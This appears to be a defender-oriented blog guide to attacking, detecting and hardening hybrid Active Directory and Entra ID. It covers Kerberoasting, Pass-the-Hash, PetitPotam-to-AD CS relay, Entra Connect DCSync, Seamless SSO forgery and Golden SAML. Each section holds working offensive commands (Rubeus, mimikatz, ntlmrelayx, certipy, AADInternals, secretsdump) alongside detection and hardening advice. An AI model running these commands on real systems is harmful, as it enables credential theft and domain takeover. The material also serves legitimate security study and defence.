Active Directory Security in Hybrid Enterprise Environments: Attacks, Detection & Hardening

Enterprise identity stopped being a Windows domain a long time ago. The modern estate is a hybrid identity ecosystem: on-premises Active Directory (AD) synchronised into Microsoft Entra ID, wired to SaaS through federation and OAuth, extended to remote workers over VPN, and stitched together by sync engines, agents, and trust relationships that most organisations have never fully mapped.

That convergence turned Active Directory from a directory service into the operational core of enterprise authentication and trust, and, in the same move, into the single highest-value target for ransomware affiliates, initial-access brokers, and state-sponsored operators. The defining property of a hybrid estate is that compromise rarely stays where it started: an on-prem foothold becomes cloud tenant takeover, and a stolen cloud token becomes on-prem persistence. The boundary an attacker crosses is not a firewall. It is the sync account, the federation certificate, or the Seamless SSO computer object that quietly bridges the two worlds.

This guide is written from the defender's chair. For each attack path it covers what the adversary actually does (with the commands), what lands in your logs on both sides of the bridge, a detection you can deploy now, and the hardening that removes the path rather than just alerting on it. Offensive commands are here so you can reproduce them in a tenant and forest you own, or an engagement you are authorised to run.

Why Active Directory Is Still the Primary Target

Attackers target Active Directory because it centralises authentication, privilege, policy, service identities, and trust. A single compromised domain administrator effectively controls servers, workstations, virtualisation, backups, and, in a hybrid estate, the synchronisation machinery into the cloud.

The intrusion pattern is consistent. Initial access is usually cheap and low-complexity: phishing, VPN or RDP credential theft, MFA fatigue, browser-token theft, or a password spray against legacy authentication. The damage comes later, after lateral movement into identity infrastructure, where the adversary escalates privilege, disables tooling, and prepares for enterprise-wide impact. Contrary to how some write-ups frame it, the methodology here is directory- and identity-centric, the relevant playbooks are Microsoft's own AD security guidance, the MITRE ATT&CK Enterprise matrix, and the identity-attack research from SpecterOps and the AAD/Entra community, not generic web-application testing material.

The Hybrid Identity Attack Surface

Traditional AD lived inside a segmented corporate network. That model no longer reflects reality. A modern identity fabric commonly includes on-prem AD, Entra ID synchronisation, federation, Conditional Access, SaaS authentication, remote-workforce VPN, mobile and BYOD, and one or more third-party identity providers, each a trust relationship an attacker can subvert.

The Components That Bridge On-Prem and Cloud

Entra Connect (Azure AD Connect)

The synchronisation engine that projects on-prem identities into Entra ID. To synchronise password hashes it uses an on-prem MSOL_ service account holding directory-replication (DCSync) rights, and it stores that account's credentials, recoverable, on the sync server itself. That makes the Entra Connect server functionally equivalent to a Domain Controller from a blast-radius perspective.

Seamless SSO

Creates a computer object, AZUREADSSOACC$ in on-prem AD. Its Kerberos key signs tickets that Entra ID trusts for silent sign-in. Critically, that key does not rotate automatically steal it once and you can forge cloud-bound tickets for any synced user until it is manually rolled over.

Federation Services (AD FS)

Issues SAML tokens for SSO. The token-signing certificate is the trust anchor: an attacker who steals it can mint SAML tokens for arbitrary users with arbitrary claims (including "MFA satisfied"), entirely offline, the Golden SAML attack.

Legacy Authentication

Basic-auth protocols (POP, IMAP, SMTP AUTH, older EAS clients) and unsigned LDAP frequently bypass Conditional Access and MFA entirely. They are the preferred surface for password spraying because a success skips the modern controls completely.

The Hybrid Identity Attack Matrix

The whole landscape on one screen, technique, where it bridges, the ATT&CK ID, the primary signal, and the control that removes it.

Technique	Bridges	ATT&CK	Key signal	Control that removes it
Kerberoasting	On-prem	T1558.003	4769 (etype 0x17)	gMSA + AES-only
Pass-the-Hash	On-prem	T1550.002	4624/4776 anomalies	Credential Guard + tiering
NTLM relay / PetitPotam → AD CS (ESC8)	On-prem → DC cert	T1557 / T1187	Coercion + cert enrol	EPA on AD CS; SMB/LDAP signing
Entra Connect creds → DCSync	Cloud → on-prem	T1003.006	4662 replication by MSOL_	Treat sync server as Tier 0
Seamless SSO key theft (Silver-to-cloud)	On-prem → cloud	T1558.002	AZUREADSSOACC$ ticket use	Rotate the key; drop Seamless SSO
Golden SAML	On-prem → cloud	T1606.002	SAML with no matching sign-in	Protect/rotate signing cert; move off AD FS
PRT / token theft	Device → cloud	T1528 / T1550.001	Token replay, impossible travel	Token protection; compliant-device CA
Federation trust backdoor	Cloud persistence	T1484.002 / T1556.007	New domain/IdP trust in audit log	Alert on trust changes; least Global Admin
Legacy-auth password spray	Cloud	T1110.003 / T1078.004	Legacy-auth sign-ins	Block legacy auth in Conditional Access

On-Prem Attack Paths

Kerberoasting

Still the most common way to turn a low-privilege user into cracked service-account credentials. Any authenticated user requests a service ticket for an SPN-bound account; the ticket is sealed with that account's password key and, if RC4 is allowed, cracked offline.

MITRE ATT&CK: T1558.003.

# Enumerate SPN-bound accounts, then roast with Rubeus (prefers RC4)
Get-ADUser -Filter {ServicePrincipalName -like "*"} -Properties ServicePrincipalName
Rubeus.exe kerberoast /rc4opsec /format:hashcat /outfile:roast.txt
hashcat -m 13100 roast.txt rockyou.txt   # 13100 = TGS-REP etype 23

Detection & hardening are covered end-to-end in the Kerberos article: alert on 4769 with encryption type 0x17 deploy a honeypot SPN, and migrate service accounts to gMSA with AES-only encryption.

Pass-the-Hash

Highly effective in flat, poorly segmented estates. Rather than cracking a password, the attacker steals the NTLM hash from LSASS or cached credentials and reuses it to authenticate laterally.

MITRE ATT&CK: T1550.002.

# Dump hashes from a compromised host, then reuse one over SMB
mimikatz # sekurlsa::logonpasswords
# Impacket, authenticate with the hash, no plaintext needed
psexec.py -hashes :<NThash> corp.local/administrator@10.0.0.20

What defenders see: 4624/4672 privileged logons and 4776 NTLM validations from hosts that never normally host admins, and the same account authenticating across many hosts in a short window. Hardening: Credential Guard to stop the theft at source, the Protected Users group and "sensitive and cannot be delegated" on Tier 0 accounts, tiered administration so a stolen hash is useless in a higher tier, and RunAsPPL on LSASS.

NTLM Relay, Coercion, and AD CS (ESC8)

NTLM's weakness is that authentication can be relayed. An attacker coerces a privileged machine, often a Domain Controller, into authenticating to a host they control, then forwards that authentication to another service. The highest-impact variant chains authentication coercion (PetitPotam) to the AD Certificate Services web-enrollment endpoint (ESC8): relay the DC's authentication, request a certificate as the DC and use it to DCSync.

MITRE ATT&CK: T1557 T1187.

# 1. Relay to the AD CS web enrollment endpoint, request a DC cert
ntlmrelayx.py -t http://adcs.corp.local/certsrv/certfnsh.asp -smb2support \
  --adcs --template DomainController
# 2. Coerce DC01 to authenticate to the relay (PetitPotam)
PetitPotam.py -u lowpriv -p Password1 <attacker-ip> dc01.corp.local
# 3. Use the recovered DC certificate to obtain a TGT / DCSync
certipy auth -pfx dc01.pfx -dc-ip 10.0.0.10

Detection: authentication coercion is visible as unexpected 4624 logons of machine accounts, and AD CS logs certificate issuance, a certificate issued for a Domain Controller template to an unusual requester is a strong signal. Hardening: enable Extended Protection for Authentication (EPA) and disable NTLM on the AD CS web endpoints (or remove web enrollment), enforce SMB signing and LDAP signing + channel binding domain-wide, and apply Microsoft's PetitPotam mitigations.

The Bridge: Cloud ↔ On-Prem Attack Paths

These are the paths that make hybrid identity uniquely dangerous. They cross the boundary in both directions.

Entra Connect Compromise → DCSync

The Entra Connect server stores the credentials of the on-prem sync account (MSOL_), which holds directory-replication rights. An attacker with admin on that server can recover those credentials and immediately perform DCSync, extracting the krbtgt key and every account hash in the domain. This is why the sync server is Tier 0, not "just an app server."

MITRE ATT&CK: T1003.006 (DCSync).

# On a compromised Entra Connect server, recover the MSOL_ sync credentials
Import-Module AADInternals
Get-AADIntSyncCredentials
# Those creds hold replication rights → DCSync the domain
secretsdump.py 'corp.local/MSOL_abc123:<recovered-pw>'@10.0.0.10

Detection: Event ID 4662 on a Domain Controller showing the DS-Replication-Get-Changes / -All rights being exercised by any principal other than a Domain Controller or the expected sync account, from an unexpected host, is the canonical DCSync signal. Also alert on interactive logons to the Entra Connect server outside a tiny known-admin set. Hardening: harden the sync server as Tier 0 (dedicated, patched, no browsing/email, PAW-only administration), restrict who can log on to it, and monitor the MSOL_ account for use anywhere but the sync server.

Seamless SSO Key Theft (Silver Ticket to the Cloud)

The AZUREADSSOACC$ computer object's key is trusted by Entra ID for silent sign-in. Steal it (via DCSync or from a DC) and you can forge a Kerberos ticket that Entra ID accepts for any synced user a Silver Ticket that crosses into the cloud. Because the key does not rotate on its own, this is durable persistence.

MITRE ATT&CK: T1558.002.

# Forge a cloud-bound Kerberos ticket for a target user with the stolen key
Import-Module AADInternals
$kt = "<AZUREADSSOACC$ NT hash>"
New-AADIntKerberosTicket -Hash $kt -UserPrincipalName "cfo@corp.com"

Hardening: rotate the AZUREADSSOACC$ key on a schedule (Microsoft documents the rollover), or drop Seamless SSO in favour of Entra hybrid join / PRT-based sign-in. Monitor for anomalous use of that account's tickets.

Golden SAML

If the estate federates through AD FS, the token-signing certificate is the master key to the cloud. An attacker who extracts it can forge SAML responses for any user with any claims, including that MFA was performed, and the cloud will trust them, offline and indefinitely. This is a persistence technique that survives password resets and MFA resets.

MITRE ATT&CK: T1606.002 (Forge Web Credentials: SAML Tokens).

# On a compromised AD FS server, export the token-signing key, forge a token
Export-AADIntADFSSigningCertificate -Filename adfs.pfx
Open-AADIntOffice365Portal -pfx adfs.pfx -UserName "admin@corp.com" \
  -UPN "admin@corp.com" -ImmutableID "<target-immutableId>" -UseBuiltInCertificate:$false

Detection: Golden SAML is hard because the forged token never touches AD FS at issuance time. The tells are on the cloud side: a successful federated sign-in in the Entra ID sign-in logs with no corresponding AD FS token-issuance event (1200/1202) on-prem, or claims/authentication-instant values inconsistent with real user activity. Hardening: store the token-signing certificate in an HSM, rotate it regularly, tightly restrict and monitor access to AD FS servers (Tier 0), and, strategically, migrate from AD FS to cloud authentication (PHS with Conditional Access), which removes the on-prem signing certificate as a target entirely.

PRT and Token Theft

On Entra-joined and hybrid-joined devices, the Primary Refresh Token (PRT) is a long-lived credential that silently obtains access tokens. Theft of a PRT or of session/refresh tokens lets an attacker replay an already-authenticated, already-MFA'd session from their own machine.

MITRE ATT&CK: T1528 T1550.001.

# Extract the PRT and derived keys from a compromised device
roadtx browserprtauth        # or TokenTactics / AADInternals equivalents
# Replay to obtain tokens for M365/Graph without re-authenticating

Detection & hardening: monitor Entra ID sign-in logs for impossible travel, token replay from unfamiliar devices, and sign-ins where the device ID does not match the token's origin. Enforce Conditional Access requiring compliant/hybrid-joined devices, enable token protection (bound sessions) where available, and keep phishing-resistant MFA (FIDO2) for privileged accounts. The token-abuse mechanics are covered in depth in weaponizing OAuth misconfigurations.

Federation Trust Backdoors

A Global Admin (or an attacker who has become one) can add a federated domain or a rogue identity provider to the tenant, creating a backdoor that issues valid tokens for arbitrary users, cloud-side persistence that outlives the original compromise.

MITRE ATT&CK: T1484.002 T1556.007 (Hybrid Identity).

Detection: alert on directory-audit events for new or modified domain federation settings and new service principals / credential additions to enterprise applications. These are rare, high-privilege changes, every one deserves review. Hardening: minimise standing Global Admins, require privileged-role activation through PIM with approval, and separate cloud-admin identities from on-prem sync (below).

Legacy-Authentication Password Spray

Legacy protocols that predate modern auth often ignore Conditional Access and MFA. Attackers spray common passwords against them precisely because a hit bypasses the controls the organisation believes it has.

MITRE ATT&CK: T1110.003 T1078.004.

Detection: Entra ID sign-in logs filtered to legacy authentication clients showing distributed failures then a success. Hardening: block legacy authentication outright with a Conditional Access policy (Microsoft now disables basic auth for Exchange Online by default, confirm nothing re-enabled it), and enforce MFA everywhere.

Detection Engineering for Hybrid Estates

The recurring failure is collecting logs on one side of the bridge but never correlating across it. Effective hybrid detection needs both, in one place.

On-prem telemetry

• 4662 directory-service access; the DCSync signal when replication rights are exercised by a non-DC principal.
• 4624 / 4625 / 4648 / 4672 / 4776 logon, failed logon, explicit-credential, special-privilege, and NTLM validation, for Pass-the-Hash and coercion.
• 4768 / 4769 Kerberos issuance with encryption type, for Kerberoasting and forged tickets.
• 4688 with command line, to catch AADInternals mimikatz ntlmrelayx certipy and encoded PowerShell.
• 5136 directory object modification, for delegation and msDS-KeyCredentialLink (shadow credential) writes.

Cloud telemetry

• Entra ID sign-in logs impossible travel, legacy-auth clients, token replay, device-ID mismatches, and risky sign-ins.
• Entra ID audit logs new federation trusts, new service principals, credential additions to applications, and privileged role assignments.
• AD FS logs (1200/1202) token issuance, to correlate against cloud sign-ins for Golden SAML.

Correlate the two. The DCSync from a compromised sync server (4662 on-prem) and the subsequent cloud sign-in as a privileged user only tell the full story together. This is exactly the endpoint-versus-identity blind spot argued in why modern SOCs fail against advanced persistent threats.

The Hybrid Identity Hardening Runbook

Prioritised and sequenced, each step is safe to do after the one before it.

1. Define Tier 0 to include the bridge. Domain Controllers, the Entra Connect server, AD FS, AD CS/PKI, and any privileged-identity-management infrastructure. Administer them only from Privileged Access Workstations; no browsing, no email, no lateral trust downward.
2. Implement tiered administration. Tier 0/1/2 with no credential reuse across tiers, the control that neutralises most Pass-the-Hash and ticket-theft value.
3. Separate cloud admin identities from on-prem. Privileged Entra roles (Global Admin and equivalents) should be cloud-only accounts that are not synced from AD, so an on-prem compromise cannot reach them. This single change breaks the most damaging leg of the escalation diagram.
4. Prefer cloud authentication over federation. Where feasible, move from AD FS to Password Hash Sync with Conditional Access, it removes the token-signing certificate (Golden SAML) as a target. If you must keep AD FS, put its signing key in an HSM and rotate it.
5. Rotate the Seamless SSO AZUREADSSOACC$ key on a schedule, or retire Seamless SSO in favour of hybrid join / PRT.
6. Block legacy authentication in Conditional Access and enforce phishing-resistant MFA (FIDO2) for all admins, MFA for everyone.
7. Reduce NTLM and harden coercion paths. Enforce SMB signing, LDAP signing + channel binding (EPA), enable EPA / disable NTLM on AD CS web enrollment, and apply PetitPotam mitigations.
8. Deploy Credential Guard, RunAsPPL, and Protected Users to stop hash and ticket theft at source.
9. Eliminate weak service accounts. gMSA/dMSA, AES-only, remove stale SPNs, closing the Kerberoasting door covered in the Kerberos runbook.
10. Centralise and correlate telemetry from on-prem security events, Entra ID sign-in and audit logs, and AD FS into one SIEM, starting with the DCSync (4662) alert.

Build a Lab Before You Touch Production

A representative hybrid lab is one on-prem Domain Controller, one member server acting as the Entra Connect host, and a test Entra ID tenant, with Sysmon and Windows Event Forwarding shipping to a free Wazuh or Elastic instance and Entra sign-in/audit logs exported alongside. Simulate the Entra Connect → DCSync path against your own forest and confirm the 4662 alert fires; then apply the tiering and Tier 0 hardening and confirm the path closes. Detections you have personally watched fire are the only ones you will trust during a real incident.

Business Risk and Operational Impact

From a CISO perspective, hybrid AD compromise is rarely a contained technical event. Because identity now controls remote access, SaaS, privileged operations, and enterprise trust, identity compromise becomes business compromise: enterprise-wide ransomware, operational shutdown, cloud-tenant takeover, regulatory penalties (GDPR, NIS2), cyber-insurance disputes, and reputational damage. In NIS2 scope specifically, an identity-infrastructure breach carries incident-reporting obligations on tight timelines, another reason the detection and telemetry work above is not optional.

References & Further Reading

Primary sources for the techniques and controls above:

• MITRE ATT&CK: T1606.002, Forge Web Credentials: SAML Tokens (Golden SAML) and T1556.007, Hybrid Identity.
• MITRE ATT&CK: T1003.006, OS Credential Dumping: DCSync and T1550.001, Application Access Token.
• Microsoft: the enterprise access model (tiered administration and Privileged Access Workstations).
• AADInternals, the research toolkit that documents the Entra Connect, Seamless SSO, and Golden SAML techniques; search "AADInternals" for the maintained documentation, and validate every finding against current Microsoft Entra guidance, which changes frequently.

Frequently Asked Questions

What is hybrid identity in Active Directory?

Hybrid identity is an architecture where on-premises Active Directory is synchronised into a cloud identity provider, Microsoft Entra ID, so that the same user accounts authenticate to both on-prem resources and cloud services. The two directories are linked by a synchronisation engine (Entra Connect) and often by federation (AD FS) and Seamless SSO, and it is those linking components that create the hybrid attack surface.

Why is the Entra Connect (Azure AD Connect) server so sensitive?

Because it stores the credentials of an on-prem service account that holds directory-replication rights. An attacker with administrative access to the Entra Connect server can recover those credentials and perform DCSync, extracting the krbtgt key and every password hash in the domain. In blast-radius terms the sync server is equivalent to a Domain Controller and must be treated as Tier 0.

What is Golden SAML and how do you defend against it?

Golden SAML is an attack where an adversary steals an AD FS token-signing certificate and uses it to forge SAML authentication tokens for any user with any claims, including that MFA was satisfied. It bypasses passwords and MFA and survives their reset. Defend against it by protecting the signing certificate in an HSM, rotating it, restricting and monitoring AD FS as Tier 0, and ideally migrating from AD FS to cloud authentication so the certificate is no longer a target.

Does MFA stop hybrid identity attacks?

Not on its own. Several of the most damaging hybrid attacks, Golden SAML, Primary Refresh Token theft, and Seamless SSO key forging, work by stealing trust material or already-authenticated tokens, so the MFA has effectively already been satisfied. MFA remains essential, but it must be phishing-resistant for admins and paired with Conditional Access, token protection, tiering, and detection to be effective.

How do I secure the on-premises to cloud path?

Treat every bridge component, Entra Connect, AD FS, and the Seamless SSO computer object, as Tier 0 infrastructure, keep privileged cloud (Global Admin) accounts cloud-only and unsynced from on-prem, prefer cloud authentication over federation, block legacy authentication, and correlate on-prem security events with Entra ID sign-in and audit logs so a cross-boundary attack is visible as one story rather than two disconnected halves.

Final Operational Takeaways

Active Directory is the operational backbone of enterprise identity and the primary target for modern attackers, and hybrid identity has extended that target far beyond the Domain Controller. The sync server, the federation certificate, and the Seamless SSO object are the objects that turn a routine on-prem foothold into tenant-wide compromise, and they are consistently under-protected because organisations still think of them as "just infrastructure."

The defensive through-line is the same one that runs through every article on this blog: identity is the security boundary now, so protect the components that carry trust across it. Define Tier 0 to include the bridge, keep privileged cloud identities off the on-prem sync, remove legacy authentication and NTLM coercion paths, stop credential theft with Credential Guard and tiering, and correlate telemetry across the boundary. Organisations that keep treating hybrid AD as legacy plumbing rather than mission-critical, cross-domain security infrastructure will keep losing both the domain and the tenant through it, usually in the same incident.

---